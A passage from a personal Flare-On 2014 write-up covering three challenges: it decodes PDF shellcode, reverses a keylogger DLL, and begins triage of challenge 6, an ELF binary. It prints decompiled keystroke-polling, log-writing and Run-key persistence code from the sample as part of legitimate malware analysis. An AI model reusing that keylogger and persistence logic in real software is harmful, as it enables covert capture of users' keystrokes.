  • TheΒ unescape()Β function replaces any escape sequence with the character that it represents. Specifically, it replaces any escape sequence of the formΒ %XXΒ orΒ %uXXXXΒ (whereΒ XΒ represents one hexadecimal digit) with the character that has the hexadecimal valueΒ XX/XXXX. If the escape sequence is not a valid escape sequence (for example, ifΒ %Β is followed by one or no hex digit), it is left as-is.

Pasted image 20260125234050.png

  • So to decode this i used cyberchef, and we have to convert the endianness because it is being written in heap so we will swap it by word length of 8.
  • We will save this as shellcode.bin

Pasted image 20260125233857.png

  • CyberChef Recipe,
[
{ "op": "Find / Replace",
"args": [{ "option": "Simple string", "string": "%u" }, "", true, false, true, false] },
{ "op": "Swap endianness",
"args": ["Hex", 2, true] },
{ "op": "From Hex",
"args": ["Auto"],
"disabled": true }
]

Stage 2 Analyzing Shellcode#

Initial Triage#

  • File Type: data
  • Size: 1 KB
  • SHA256: 71d7690eaab011871f8e957c354e96baa16ed14ddcf719caf0776917b5eebe2d

Basic Static Analysis#

  • I quickly check VT for this hash and only 1 out of 54 which means this can be obfuscated and some spoofy things,

Pasted image 20260125234637.png

  • For simplicity i used tool flare-floss for intelligent string analysis and here is what i found,
Terminal window
β”Œβ”€β”€(b14ckyγ‰ΏDESKTOP-VRSQRAJ)-[~]
└─$ /opt/floss shellcode.bin --format sc32
INFO: floss: extracting static strings
finding decoding function features: 100%|β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 1/1 [00:00<00:00, 126.37 functions/s, skipped 0 library functions]
INFO: floss.stackstrings: extracting stackstrings from 1 functions
INFO: floss.results: LoadLibraryA
INFO: floss.results: user32
INFO: floss.results: MessageBoxA
INFO: floss.results: OWNED!!!
INFO: floss.results: 2OWNED!!!
INFO: floss.results: OWNE
INFO: floss.results: ExitProcessb
extracting stackstrings: 100%|β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 1/1 [00:00<00:00, 28.02 functions/s]
INFO: floss.tightstrings: extracting tightstrings from 0 functions...
extracting tightstrings: 0 functions [00:00, ? functions/s]
INFO: floss.string_decoder: decoding strings
decoding strings: 100%|β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 1/1 [00:00<00:00, 85.55 functions/s]
INFO: floss: finished execution after 7.19 seconds
INFO: floss: rendering results
FLARE FLOSS RESULTS (version v3.1.1-0-g3cd3ee6)
.
.
.
───────────────────────────
FLOSS STATIC STRINGS (31)
───────────────────────────
+----------------------------------+
| FLOSS STATIC STRINGS: ASCII (31) |
+----------------------------------+
rIF%
xsq}
$~|C
.
.
.
hess
hProchExitT
T$@W
+------------------------------------+
| FLOSS STATIC STRINGS: UTF-16LE (0) |
+------------------------------------+
─────────────────────────
FLOSS STACK STRINGS (7)
─────────────────────────
LoadLibraryA
user32
MessageBoxA
OWNED!!!
2OWNED!!!
OWNE
ExitProcessb
─────────────────────────
FLOSS TIGHT STRINGS (0)
─────────────────────────
───────────────────────────
FLOSS DECODED STRINGS (0)
  • There are some interesting stack strings,
    • LoadLibraryA : loads required Windows DLLs at runtime
    • MessageBoxA : displays a message box (proof of code execution)
    • ExitProcess : - cleanly terminates the program after execution
  • And some string so we will look that later,

Advance Static Analysis#

  • To analyze this shellcode, i can use cutter so i simply paste shellcode in cutter and analyze the assembly,

Pasted image 20260125235540.png

  • In this disassembler, there are 2 functions, fcn.00000000 and fcn.0000035e,
  • fcn.00000000 looks very large and messy,

Pasted image 20260125235749.png

  • I analyze some part of fcn.00000000 and i found that it is loading some strings in stack for some purpose as we discuss earlier,

![[Learning/DFIR & MARE/Reverse Engineering/Flare-On/2014/images/Pasted image 20260118140837.png]]

  • So i look at the fcn.0000035e function and i found that,
    • It is building encrypted data on the stack and decrypting it in place using XOR, so the real strings only exist in memory at runtime.

Pasted image 20260126001620.png

  • Here is the script that do whole decryption and transformation of hex and convert it to ascii,
# XOR operations
xor_pairs = [
(0x32fba316, 0x32bece79),
(0x48cf45ae, 0x2be12bc1),
(0xd29f3610, 0xfffa4471),
(0x0ca9a9f7, 0x60cfe984),
(0x43a993be, 0x3798a3d2),
(0x3b628a82, 0x4b11a4ef),
(0xccc047d6, 0xffa469be),
(0x3154caa3, 0x5265abd4)
]
# Calculate XOR results
xor_results = [val1 ^ val2 for val1, val2 in xor_pairs]
print("XOR Results:", [f"0x{r:08x}" for r in xor_results])
# Combine into single hex string
combined_hex = ''.join([f"{result:08x}" for result in xor_results])
print(f"Combined: {combined_hex}")
# Convert to bytes and reverse
hex_bytes = bytes.fromhex(combined_hex)
reversed_bytes = hex_bytes[::-1]
# Convert to ASCII
output = reversed_bytes.decode('ascii', errors='replace')
print(f"Output: {output}")
Terminal window
β”Œβ”€β”€(b14ckyγ‰ΏDESKTOP-VRSQRAJ)-[~/]
└─$ python decr.py
XOR Results: ['0x00456d6f', '0x632e6e6f', '0x2d657261', '0x6c664073', '0x7431306c', '0x70732e6d', '0x33642e68', '0x63316177']
Combined: 00456d6f632e6e6f2d6572616c6640737431306c70732e6d33642e6863316177
Output: wa1ch.d3m.spl01ts@flare-on.comE
  • Here is the flag using static method,
wa1ch.d3m.spl01ts@flare-on.com

Advance Dynamic Analysis#

0x00000359 call fcn.0000035e ; fcn.0000035e ; fcn.0000035e(int64_t arg1)
fcn.0000035e(int64_t arg1);
; arg int64_t arg1 @ rdi
; var int64_t var_65h @ stack - 0x65
; var int64_t var_48h @ stack - 0x48
; var int64_t var_40h @ stack - 0x40
0x0000035e mov edx, dword [rsp]
0x00000361 xor dword [rdx + 0xb], 0x32fba316
0x00000368 push 0x32bece79
0x0000036d xor dword [rdx + 0x17], 0x48cf45ae
0x00000374 push 0x2be12bc1
0x00000379 xor dword [rdx + 0x23], 0xd29f3610
0x00000380 push 0xfffffffffffa4471
0x00000385 xor dword [rdx + 0x2f], 0xca9a9f7
0x0000038c push 0x60cfe984
0x00000391 xor dword [rdx + 0x3b], 0x43a993be
0x00000398 push 0x3798a3d2
0x0000039d xor dword [rdx + 0x47], 0x3b628a82
0x000003a4 push 0x4b11a4ef
0x000003a9 xor dword [rdx + 0x53], 0xccc047d6
0x000003b0 push 0xffffffffffa469be
0x000003b5 xor dword [rdx + 0x5f], 0x3154caa3
0x000003bc push 0x5265abd4
0x000003c1 mov ecx, esp
  • This is how it works,
  • Now you might think that doing XOR first and then push value which is kind of reverse Because,
    • It happens because the shellcode modifies its own instructions in memory.
    • The values you see in push 32BECE79 are encrypted operands.
      • Before that instruction executes, the shellcode does:
xor dword ptr [edx+offset], key
  • This XOR rewrites the PUSH instruction itself in memory.
  • So when execution later reaches that instruction, the CPU fetches the modified bytes, not the original ones.
  • That’s why:
push 32BECE79 β†’ becomes β†’ push 00456D6F

Pasted image 20260126012407.png

Pasted image 20260118140837.png

Flag Extraction#

  • By putting breakpoint on 004013C1 we can see that esp is point to out flag so i do follow in dump for esp and i got the flag.
004013C1 | 8BCC | mov ecx,esp

Pasted image 20260118140846.png

  • Alon with flag we get those strings also which we got using floss, which are used to prompt a message box with some random text,
0019FF1C 77 61 31 63 68 2E 64 33 6D 2E 73 70 6C 30 31 74 wa1ch.d3m.spl01t
0019FF2C 73 40 66 6C 61 72 65 2D 6F 6E 2E 63 6F 6D 45 00 s@flare-on.comE
0019FF3C 5E 13 40 00 4F 57 4E 45 44 21 21 21 00 00 00 00 ^.@.OWNED
0019FF4C 4D 65 73 73 61 67 65 42 6F 78 41 00 75 73 65 72 MessageBoxA.
0019FF5C 33 32 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 32..LoadLibraryA
  • Here is out Flag, πŸ˜—
wa1ch.d3m.spl01ts@flare-on.com

Pasted image 20260126013350.png

Challenge 5:#

Stage 1 Analyzing PE File#

Initial Triage#

  • File Type: 5get_it: PE32 executable for MS Windows 5.01 (DLL), Intel i386, 4 sections
  • Size: 99KB
  • SHA256: 2225b6966b9baae11ee5a8412201b30fd72c4a10e92727d92acf5ea6b5df9176

Basic Static Analysis#

  • Just quick VT search,
    • It gives 48/69 hits so it is malicious and marked KeyLogger so maybe some keystroke things will be there,

Pasted image 20260128002927.png

  • Detect it Easy is showing that it is written in C++ and compiled with Visual Studio (2010).
    • Also it is not packed because entropy is nomal,

Pasted image 20260128002704.png

Pasted image 20260128003244.png

  • Now we can analyze this binary with pestudio to get more idea,
  • In-fact, it gives lots of info such as,
    • Our sample is a 32 bit DLL file with entry point address of 0x0000B186 and size of 101376 Bytes.
    • And this binary compiled in 2014.

Pasted image 20260128005416.png

  • Now some silly floss things to see any interesting strings,

    • it quite big and lots things are there so let’s break it down and show you some stuff.
  • As i said previously, this are some keystrokes,

    • And to store them it impersonate the svchost a legit process’s log file which is svchost.log,
[SHIFT]
[RETURN]
[BACKSPACE]
[TAB]
[CTRL]
[DELETE]
[CAPS LOCK]
GetAsyncKeyState
svchost.log
  • It is a Keyboard + file write combo
    • capture keystroke β†’ write to file β†’ flush.
Terminal window
GetAsyncKeyState
WriteFile
CreateFileA/W
FlushFileBuffers
SetFilePointer
  • Some registry keys used to do persistence with it’s related Windows APIs,
Terminal window
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
RegCloseKey
RegQueryValueExA
RegOpenKeyExA
RegSetValueExA
RegCreateKeyA
  • Something with DLL stuff,
    • It referencesΒ c:\windows\system32\svchost.dllΒ andΒ svchost.logΒ but there is no such file (Windows hasΒ svchost.exeΒ in that location).
    • There is alsoΒ c:\windows\system32\rundll32.exe c:\windows\system32\svchost.dll which means this file is most probably a DLL and should be executed like that.
    • There are no parameters, so whatever this DLL is doing should be inΒ DllMain.
Terminal window
c:\windows\system32\svchost.dll
c:\windows\system32\rundll32.exe c:\windows\system32\svchost.dll
  • Windows APIs related to Anti-Analysis Technique,
Terminal window
IsDebuggerPresent
Sleep
QueryPerformanceCounter
  • Finally, FLOSS decoded strings,
Terminal window
Courier New
DDNDNNNNDND
.
.
.
FLARE ON!
  • So only based on these basic analysis, we take overview of malware that how it could behave which helps us in advance analysis.

Advance Static Analysis#

  • Now Buckle down because we jumping into IDA for some low level stuff,
  • As i said previously, there is only one export which is DLLEntryPoint,
  • The Windows loader calls the DLL’s entry point defined in the PE Optional Header, which in MSVC-built DLLs is typically DllMainCRTStartup (often labeled as DLLEntryPoint by IDA).
  • And this DllMainCRTStartup will call DLLMain.
Here is the flow,
----------------------
Windows Loader
↓
AddressOfEntryPoint
↓
__DllMainCRTStartup
↓
DllMain
----------------------
More Technically it do these process,
ntdll!LdrLoadDll
↓
ntdll!LdrpCallInitRoutine
↓
PE.OptionalHeader.AddressOfEntryPoint
↓
__DllMainCRTStartup ← CRT
↓
DllMain ← user code
  • Here is the crux explanation,
    • When a DLL is loaded, ntdll!LdrLoadDll maps it into memory, LdrpCallInitRoutine decides initialization, the loader jumps to the PE’s AddressOfEntryPoint (usually __DllMainCRTStartup), which initializes the C runtime (TLS, heap, SEH, globals) and finally calls the user-defined DllMain under the loader lock.

Pasted image 20260128010732.png

  • Here is the DLLMain Called,

Pasted image 20260128012223.png

  • Now this DLLMain is calling other bunch of other functions,
  • Here is function tree,
    • sub_1000A570() - Doing Persistence by adding key in Registry
    • sub_1000A610() - Checking the Key already present of not
    • sub_1000AD77() - nothing important..
    • sub_1000A4C0() - Just adding some noise to delay the process
      • sub_10009EB0 - Switch Case with all ASCII Chars
        • sub_10009AF0() - Case of Char β€˜M’
          • sub_10009AF0() - Hidden Function
      • sub_10001000

Pasted image 20260128013233.png

sub_1000A570 function,#

  • First i analyzed the sub_1000A570 function,

Pasted image 20260128013550.png

  • Inside the function we encounterΒ RegOpenKeyExΒ that opens a registry key.
  • Full registry key is a combination ofΒ hKeyΒ andΒ lpSubKey.Β hKeyΒ can be one of theΒ predefined keys.
  • The constants for the predefined keys needed a bit of googling because the MSDN page didn’t list them. Here they are:
Terminal window
| Key | Constant |
|---------------------|----------|
| HKEY_CLASSES_ROOT | 0 |
| HKEY_CURRENT_USER | 1 |
| HKEY_LOCAL_MACHINE | 2 |
| HKEY_USERS | 3 |
| HKEY_CURRENT_CONFIG | 5 |
v3 = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 1u, &phkResult);
  • Here is the arguments and if we map with MSDN function then it looks like this,
LSTATUS RegOpenKeyExA(
[in] HKEY hKey, // HKEY_LOCAL_MACHINE (0x80000002)
[in, optional] LPCSTR lpSubKey, // "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
[in] DWORD ulOptions, // 0
[in] REGSAM samDesired, // KEY_QUERY_VALUE (0x0001)
[out] PHKEY phkResult // &phkResult
);
  • So if we move further,
  • If function succeeds it will returnΒ ERROR_SUCCESSΒ which is 0 according toΒ this page, otherwise it will return another error code.
  • db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 in .rdata section.
  • The binary will check if it has access to registry at that path.
  • If so then the return value (in eax) will be 0 and it will jump right (JZ will succeed).

Pasted image 20260128015409.png

v3 = RegQueryValueExA(phkResult, "svchost", 0, 0, Data, &cbData);
  • Here is the arguments and if we map with MSDN function then it looks like this,
LSTATUS RegQueryValueExA(
[in] HKEY hKey, // phkResult
[in, optional] LPCSTR lpValueName, // "svchost"
LPDWORD lpReserved, // 0
[out, optional] LPDWORD lpType, // 0
[out, optional] LPBYTE lpData, // Data
[in, out, optional] LPDWORD lpcbData // &cbData
);
  • RegQueryValueExΒ checks if there is a registry key at an open path.
  • It is looking for a registry key namedΒ svchostΒ at that path. If such key exists, function will return 0.
  • In this case, it returned 2 which stands forΒ ERROR_FILE_NOT_FOUNDΒ meaning there was no such key.
  • Then it will callΒ RegCloseKeyΒ and closes the open registry path. This function’s return value is saved inΒ var_110Β (we will need it later):
Terminal window
| Condition | Return Value |
|------------------------------|-------------------------------|
|Registry key cannot be opened | 1 |
|Registry key does not exist | 2 |
|Registry key exists | 1000A6BB or DllMain(x,x,x)+3B |
  • This DLL is self-installing malware that checks whether it already has persistence, installed itself if not, disguises itself as svchost, registers itself to run at every system startup via the Windows Run registry key, executes itself using rundll32, hides its console, and then enters an infinite loop performing its main malicious activity.
  • Now it calls sub_1000A610,

sub_1000A610 function,#

  • Now this sub_1000A610 similar as previous and here is pseudocode,
int __cdecl sub_1000A610(BYTE *lpData)
{
size_t v1; // eax
HKEY phkResult[2]; // [esp+4h] [ebp-8h] BYREF
if ( RegCreateKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", phkResult) )
return 1;
v1 = strlen((const char *)lpData);
RegSetValueExA(phkResult[0], "svchost", 0, 1u, lpData, v1);
phkResult[1] = 0;
return 0;
}

Pasted image 20260128020153.png

  • We see that it is callingΒ GetModuleHandleExΒ forΒ sub_1000A610Β and checks the return value .
  • The return value forΒ GetModuleHandleExΒ will be non-zero, otherwise it will be zero. If call was not successful then last error will be printed to file.

Pasted image 20260128020523.png

Pasted image 20260128020624.png

  • IfΒ GetModuleHandleExΒ was successful it will land here.Β 
  • GetModuleFileNameΒ is called which will return the full path for the specified module inΒ hModule.
  • In this case, the binary retrieves its own path and saves it inΒ [ebp+Filename].in return value ofΒ sub_1000A570Β is compared with 2.
  • If registry key did not exist, we will continue.
  • We have already seen the strings being loaded.
  • ThenΒ CopyFileAΒ is called to copy itself toΒ c:\\windows\\system32\\svchost.dll.
  • It c:\windows\system32\rundll32.exe c:\windows\system32\svchost.dllΒ to the stack and callsΒ sub_1000A610Β .
  • Based on this string and checking for existence of the registry key we can guess what is going to happen in this function.
  • Inside this function we see thatΒ RegCreateKeyΒ to openΒ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. If the key does not exist, it will create it.
  • If call was successful, execution continues.
  • It is adding a new registry key namedΒ svchostΒ to that path with the specified value. Then function will return with the result value of RegSetValueEx.
  • If it was successful, it will be 0.
  • The Dll copied itself to system32 and it will run every time Windows starts.

sub_1000A4C0 Function#

  • Runs forever and repeatedly performs random‑count tasks using data returned by another function, with artificial delays and memory allocation used mainly for noise / evasion.
  • In short just not usefull.
void __noreturn sub_1000A4C0()
{
char *Buffer; // [esp+0h] [ebp-14h]
int v1; // [esp+4h] [ebp-10h]
void *v2; // [esp+8h] [ebp-Ch]
__int16 v3; // [esp+Ch] [ebp-8h]
while ( 1 )
{
v1 = rand() % 200 + 50;
v2 = malloc(15 * v1);
memset(v2, 0, 15 * v1);
Sleep(0xAu);
v3 = 0;
while ( v3 < v1 )
{
Sleep(0xAu);
Buffer = (char *)sub_10009EB0();
if ( Buffer )
{
sub_10001000(Buffer);
++v3;
}
}
}
}
sub_10009EB0 function,#

Pasted image 20260128021925.png

  • This loop is Scanning all keyboard keys to detect which key is pressed.
  • Loops through all virtual key codes from 8 to 222 and stops when it finds which key the user pressed.
  • A classic keylogger polling logic.
  • Here is mapping table of keystrokes and value,
SHORT GetAsyncKeyState(
[in] int vKey // The virtual-key code
);
VK (Virtual key codes)Value
VK_BACK8
VK_TAB9
VK_RETURN13
VK_SHIFT16
VK_CONTROL17
VK_MENU (Alt)18
VK_ESCAPE27
’A’ - β€˜Z’ or β€˜a’ - β€˜z’65–90
F1–F12112–123
for ( i = 8; ; ++i )
{
if ( i > 222 )
return 0;
if ( GetAsyncKeyState(i) == 0xFFFF8001 )
break;
.
.
.
  • After getting that pressed key, we just pass it to switch case which will further call some functions,
  • And those functions are nothing but just a wrapper which return same character,

Pasted image 20260128022927.png

Pasted image 20260128023043.png

  • if given input is NOT a normal character then it goes to 2nd switch case,

Pasted image 20260128023400.png

v1 = i - 8;
switch (i)
{
case 8:
....
case 190:
}
  • Final crux of this function,
  • And one importent thing,
    • This function is a keystroke dispatcher, not a string collector.
    • It means this whole process happens for one char only and function return and execution goes to next function which is sub_10001000(Buffer);,
wait until user presses a key
if key is a letter/number/symbol:
return that character
else if key is Enter / Backspace / Space / Shift:
handle that action
else:
ignore and keep waiting
sub_10001000 function#
  • Writes the received character into a file called svchost.log.
  • And this whole process happens with that sub_1000A4C0 function sleep time or just delay to make it stealth.
int __cdecl sub_10001000(char *Buffer)
{
FILE *Stream; // [esp+0h] [ebp-4h]
for ( Stream = 0; !Stream; Stream = fopen("svchost.log", "a+") )
Sleep(0xAu);
fputs(Buffer, Stream);
fclose(Stream);
return 1;
}
  • Now what about flag,
  • Here is some puzzle thing,
    • This function is for char β€˜M’ and it has hidden logic,
    • sub_10001240 hidden function

Pasted image 20260128234520.png

Pasted image 20260128234632.png

const char *sub_10009AF0()
{
if ( dword_100194FC > 0 )
{
_cfltcvt_init();
sub_10001240();
}
return "m";
}
  • now this sub_10001240() is just printing banner with some cools ascii art,
INT_PTR sub_10001240()
{
HINSTANCE WindowLongA; // [esp+0h] [ebp-1590h]
wchar_t v2[12]; // [esp+4h] [ebp-158Ch] BYREF
HWND hWnd; // [esp+1Ch] [ebp-1574h]
wchar_t v4[2728]; // [esp+20h] [ebp-1570h] BYREF
LPARAM dwInitParam; // [esp+1570h] [ebp-20h]
HINSTANCE hInstance; // [esp+1574h] [ebp-1Ch]
wchar_t Source[10]; // [esp+1578h] [ebp-18h] BYREF
hWnd = 0;
dwInitParam = 0;
wcscpy(v2, L"Courier New");
wcscpy(Source, L"FLARE ON!");
wcscpy(
v4,
L"_______________________________________________NDD__________________________________________________\n"
"______________________________________________DDDDD_________________________________________________\n"
"______________________________________________DDDDDN________________________________________________\n"
"_____________________________________________DDDDDDD________________________________________________\n"
"NNNNNNNNDDN________DNNN_____________________NDDDDDDDD_______________NNNNNNNNDN__________DNNNNNNNNNNN\n"
"DDDDDDDDDDD________NDDD____________________NDDDDDDDDDN______________DDDDDDDDDDDD________DDDDDDDDDDDD\n"
"DDDDDDDDDDD________NDDD____________________NDDDDDDDDDD______________DDDDDDDDDDDDN_______NDDDDDDDDDDD\n"
"DDDD_______________DDDD___________________NDDDDDDDDDDDD_____________DDDD_____NDDD_______DDDD________\n"
"DDDD_______________DDDD__________________DDDDDDD_DDDDDDN____________DDDD_____DDDD_______DDDD________\n"
"DDDDDDDDDD_________DDDD__________________NDDDDD___DDDDDDN___________DDDDDNNNNDDDN_______DDDDDDDDDD__\n"
"DDDDDDDDDD_________DDDD_________________DDDDDDN___DNDDDDD___________DDDDDDDDDDD_________DDDDDDDDDD__\n"
"DDDD_______________DDDD________________DDDDDDD_____DDDDDDD__________DDDD__DDDD__________DDDD________\n"
"DDDD_______________DDDD_______________DDDDDDD_______DDDDDDD_________DDDD__NNDDD_________DDDD________\n"
"DDDD_______________DDDDNNNNNN_________NDDDDDN_______NDDDDDD_________DDDD___DDDDN________DDDDNNNNNNNN\n"
"DDDD_______________DDDDDDDDDDD_______NDDDDDD_________NDDDDDD________DDDD____DDDD________DDDDDDDDDDDD\n"
"DDDN_______________DDDDDDDDDDN______NDDDDDDDDDDDDDDD__DDDDDDD_______NDDD_____DDDD_______DDDDDDDDDDDN\n"
"____________________________________DDDDDDDDDDDDDDDN___DDDDDDN______________________________________\n"
"___________________________________DDDDDDDDDDDDDDD_____DDDDDDD______________________________________\n"
"__________________________________DDDDDDDDDDDDDDN_______DDDDDDD_____________________________________\n"
"________________________________________NDDDDDN_____________________________________________________\n"
"_______________________________________DNDDDDN______________________________________________________\n"
"_______________________________________DDDDD________________________________________________________\n"
"______________________________________DDDDD_________________________________________________________\n"
"_____________________________________DDDDD__________________________________________________________\n"
"_____________________________________NDD____________________________________________________________\n"
"____________________________________NDD_____________________________________________________________\n"
"___________________________________DD_______________________________________________________________\n");
wcscpy(&Destination, Source);
wcscpy(&word_10017034, v2);
wcscpy(&word_10017062, v4);
if ( hWnd )
WindowLongA = (HINSTANCE)GetWindowLongA(hWnd, -6);
else
WindowLongA = GetModuleHandleA(0);
hInstance = WindowLongA;
return DialogBoxIndirectParamW(WindowLongA, &hDialogTemplate, hWnd, DialogFunc, dwInitParam);
}
  • But again it doesn’t have flag so i looks up little bit and here is what i understand,
    • This program pretends to be a keylogger, but it is actually a flag puzzle.
    • There is NO place where the flag exists as a string.
    • The flag is never stored.
    • The flag is never assembled.
    • The flag exists only as logic.
  • Under the hood:
    • Each key has its own function
    • Each function returns one small string
    • "a"
    • "m"
    • "dot"
    • "at"
  • Some functions also set hidden memory flags
  • Those memory flags are the real secret.
  • Here are those variables,

Pasted image 20260128235204.png

  • THE TRICK
    • You are NOT supposed to type the flag.
    • Typing is a decoy.
  • The real flag is determined by:
    • which functions set those dword flags
    • and the order of those flags
  • I know it looks weird and tricky, but I also find it very difficult, so this is my understanding.
  • So to do this i referred one python script by xbyte, so credit goes to him.
  • Here is the script,
#!/usr/bin/env python3
import r2pipe
import os
keys = [
"0x10017000","0x10019460","0x10019464","0x10019468","0x1001946c",
"0x10019470","0x10019474","0x10019478","0x1001947c","0x10019480",
"0x10019484","0x10019488","0x1001948c","0x10019490","0x10019494",
"0x10019498","0x1001949c","0x100194a0","0x100194a4","0x100194a8",
"0x100194ac","0x100194b0","0x100194b4","0x100194b8","0x100194bc",
"0x100194c0","0x100194c4","0x100194c8","0x100194cc","0x100194d0",
"0x100194d4","0x100194d8","0x100194dc","0x100194e0","0x100194e4",
"0x100194e8","0x100194ec","0x100194f0","0x100194f4","0x100194f8",
"0x100194fc","0x10019500"
]
flag = ""
if os.path.isfile("5get_it.dll"):
r2 = r2pipe.open("5get_it.dll")
r2.cmd("aaaa")
for key in keys:
xrefs = r2.cmdj("axtj " + key)
if not xrefs:
continue
for xref in xrefs:
if xref.get("opcode") == f"mov dword [{key}], 1":
fcn_called = r2.cmdj("pdfj@" + xref["fcn_name"])
if not fcn_called:
continue
for op in fcn_called.get("ops", []):
dis = op.get("disasm", "")
if "mov eax, 0x100" in dis:
addr = dis.split(",")[1].strip()
ch = r2.cmd(f"pr 1 @ {addr}")
flag += ch.strip()
r2.quit()
replacements = {
"dot": ".",
"dash": "-",
"at": "@"
}
for k, v in replacements.items():
flag = flag.replace(k, v)
print(flag)
Terminal window
β”Œβ”€β”€(b14ckyγ‰ΏDESKTOP-VRSQRAJ)-[~/]
└─$ python flag.py
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods (af @@ method.*)
INFO: Recovering local variables (afva@@@F)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Scanning for strings constructed in code (/azs)
INFO: Finding function preludes (aap)
INFO: Enable anal.types.constraint for experimental type propagation
l0gging.ur.5tr0ke5@flare-on.co
  • Here is the falg,
l0gging.ur.5tr0ke5@flare-on.co

Challenge 6:#

Stage 1 ELF Analysis#

Initial Triage#

  • File Type: e7bc5d2c0cf4480348f5504196561297: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c65164a247cb0c44cab89c0fc06980bf6c082011, stripped
  • Size: 1.16 MB
  • SHA256: 3487e1de75bcb6f2c1425ca4f9b5da8fb66387343bf4a217c5a5cf93c79f0d9d

Basic Static Analysis#

  • Just quick VT search,
    • It gives 0/69 hits so it is very weird so we will do some analysis on it,

Pasted image 20260129104603.png

  • Detect it Easy (Die) show that this file is written in C language and compiled using GCC in ubuntu system which means it is elf binary.
  • It is stripped binary so symbol was be removed so it might be difficult to analyze easily.

Pasted image 20260129104631.png

  • It seems not packed so we don’t need to do heavy unpacking stuff,

Pasted image 20260129105324.png

  • For better analysis i switched to remnux which is linux based malware analysis lab to doing some work on elf and linux executables.
  • I used readelf tool to get some info about binary and here it is,
Terminal window
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ readelf -h e7bc5d2c0cf4480348f5504196561297
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x401058
Start of program headers: 64 (bytes into file)
Start of section headers: 1219080 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
